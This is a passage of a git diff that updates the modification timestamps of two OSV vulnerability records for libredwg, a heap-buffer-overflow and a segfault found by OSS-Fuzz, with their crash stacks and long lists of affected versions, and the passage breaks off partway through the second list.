fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-372.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=46994"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-372","published":"2022-04-26T00:00:09.352798Z","modified":"2026-11-12T14:30:04.367952623Z","summary":"Heap-buffer-overflow in dwg_encode_VERTEX_2D","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=46994\n\n```\nCrash type: Heap-buffer-overflow READ 8\nCrash state:\ndwg_encode_VERTEX_2D\ndwg_encode_add_object\ndwg_encode\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"7bda865d59f843e174ac7e14c7dfe25243900956"}]}],"versions":["0.12.4.4522","0.12.4.4527","0.12.4.4530","0.12.4.4533","0.12.4.4535","0.12.4.4542","0.12.4.4544","0.12.4.4545","0.12.4.4548","0.12.4.4550","0.12.4.4553","0.12.4.4566","0.12.4.4567","0.12.4.4572","0.12.4.4583","0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-372.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=46994"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-379.json b/data/OSS-Fuzz/OSV-2022-379.json index 55dcf318da..91cc3710da 100644 --- a/data/OSS-Fuzz/OSV-2022-379.json +++ b/data/OSS-Fuzz/OSV-2022-379.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-379","published":"2022-04-27T00:00:44.539231Z","modified":"2026-11-11T14:30:03.222354709Z","summary":"Segv on unknown address in bit_write_TV","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=47014\n\n```\nCrash type: Segv on unknown address\nCrash state:\nbit_write_TV\nbit_write_T\ndwg_encode_BLOCK\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"7bda865d59f843e174ac7e14c7dfe25243900956"}]}],"versions":["0.12.4.4522","0.12.4.4527","0.12.4.4530","0.12.4.4533","0.12.4.4535","0.12.4.4542","0.12.4.4544","0.12.4.4545","0.12.4.4548","0.12.4.4550","0.12.4.4553","0.12.4.4566","0.12.4.4567","0.12.4.4572","0.12.4.4583","0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317